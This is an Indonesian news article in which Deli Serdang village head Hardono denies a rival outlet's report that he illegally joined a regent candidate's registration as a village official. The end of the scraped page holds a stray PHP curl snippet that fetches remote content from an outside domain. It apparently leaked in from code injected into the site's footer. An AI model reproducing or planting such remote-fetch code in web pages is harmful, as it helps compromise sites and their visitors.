Hardono Dampingi Pendaftaran Calon Bupati – Wakil Bupati Sebagai Ketua DPP Bid.Pembinaan Pengembangan Generasi Muda Pujakesuma

Sabtu, 31 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Deli Serdang | Jejakkasus.info – Hari Kamis tanggal 29 Agustus 2024 pasangan calon Bupati dan wakil bupati Deli Serdang H.M.Ali Yusuf Siregar dan Bayu Sumantri Agung sekira pukul 16.30 Wib ke KPU daerah Deli Serdang Sumatera Utara.

Pendaftaran pasangan calon Bupati dan wakil bupati Deli Serdang sebagai calon Bupati H.M.Ali Yusuf Siregar dan Bayu Sumantri Agung calon wakil bupati Deli Serdang diiringi sekira 4.000 relawan dan warga masyarakat kabupaten Deli Serdang

Namun di sisi lain ada yang merasa dirinya sangat dirugikan karena telah dicemarkan nama baiknya dengan nama sebagai kepala desa atau ketua APDESI Deli Serdang juga membawa nama Wakapolri dalam pemberitaan yang viral di salahsatu media online terbitan Sumatera Utara.

Baca Juga:  Bhabinkamtibmas Desa Pajahan Memastikan Ibadah Kenaikan Isa Almasih di GKPB Sinar Kasih Aman dan Kondusif

Hardono sebagai kepala desa Tanjung Garbus Kampung kecamatan Pagar Merbau atau sebagai ketua APDESI kabupaten Deli Serdang benar-benar merasa kecewa kepada oknum wartawan yang memberitakan bahwa dirinya telah melanggar undang-undang pasal 70 ayat 1 huruf c undang-undang nomor 10 tahun 2016 tentang pemilihan Gubernur atau wakil Gubernur , Bupati atau wakil Bupati , Walikota atau wakil Walikota dan undang-undang yang berbunyi sebagai berikut : Dalam kampanye pasangan calon dilarang melibatkan kepala desa atau sebutan lainnya Lurah dan perangkat desa atau sebutan lainnya perangkat Kelurahan, dan juga Hardono merasa sangat kecewa dalam pemberitaan tersebut juga menyebutkan Wakapolri bahwa gaji yang selama ini diterima oleh Hardono dari Wakapolri bukan dari Kementerian Dalam Negeri.

Baca Juga:  Satuan Narkoba Polres Karangasem Melakukan Upaya Pencegahan Kenakalan Remaja Melalui Patroli Malam

Saat Hartono ditemui awak media Jumat (30-08-2024) mengatakan ” Yang ada di dalam pemberitaan itu yang Pertama , pemberitaan tidak dilakukan konfirmasi terlebih dahulu kepada saya selaku yang memiliki nama Hardono anak Deli Serdang, Kedua , pemberitaan yang ditayangkan saya nyatakan TIDAK BENAR, karena kehadiran saya di KPU daerah Deli Serdang bukan sebagai kepala desa Tanjung Gabus Kampung ataupun ketua Apdesi Deli Serdang serta bukan utusan dari bapak Kapolri yang terhormat namun saya turut mendampingi pasangan calon Bupati Deli Serdang dan wakil Bupati Deli Serdang sebagai Ketua DPP Bidang Pembinaan dan Pengembangan Generasi Muda Pujakesuma.

Baca Juga:  Polres Nias Laksanakan Apel Gelar Pasukan Pengamanan Malam Taqbiran dan Sholat Idul Fitri 1445 H

Sekali lagi saya katakan bahwa pemberitaan yang diviralkan oleh salahsatu media online Sumatera Utara, saya nyatakan TIDAK BENAR alias BOHONG-HOAX, saran saya untuk para oknum jurnalis ataupun oknum wartawan yang ada di kabupaten Deli Serdang bila membuat pemberitaan sebaiknya dikonfirmasi langsung terlebih dahulu kepada yang bersangkutan Jangan melakukan pemberitaan sebagai opini seenak ucapan sang penulis sendiri , patuhi dan ikuti aturan undang-undang PERS nomor 40 tahun 1999 terima kasih.

Wartawan : Kaperwil Sumut

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>